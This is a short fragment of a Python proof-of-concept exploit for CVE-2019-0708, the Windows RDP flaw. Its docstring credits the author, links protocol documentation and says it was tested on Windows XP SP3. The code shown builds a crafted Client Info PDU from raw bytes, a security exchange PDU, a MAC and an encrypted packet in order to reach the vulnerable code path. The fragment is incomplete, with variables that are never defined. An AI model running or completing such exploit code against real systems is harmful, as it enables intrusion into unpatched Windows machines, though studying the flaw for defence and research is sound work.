""" CVE-2019-0708 the worst PoC for just hitting vulnerable path | NOT DOS!!!!! by Mateusz Garncarek Some documentation and code parts: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/e78db616-689f-4b8a-8a99-525f7a433ee2 https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPBCGR/%5bMS-RDPBCGR%5d.pdf https://github.com/citronneur/rdpy Note: - this PoC is tested against only Windows XP x86 SP3 - Better connecting channels, now you can set up to 31 channels (Big thanks to anonymous contributor) """
#print(':'.join(hex(ord(x))[2:] for x in encrypted_packet)) #Client Info PDU together with #Client Security Exchange PDU Client_Info_PDU = b"" Client_Info_PDU += PDU_Security_Exchange Client_Info_PDU += b"\x03\x00\x01\x05\x02\xf0\x80\x64\x00\x03\x03\xeb\x70\x80\xf6\x48\x00\x00\x00" Client_Info_PDU += FinalMac128 Client_Info_PDU += encrypted_packetb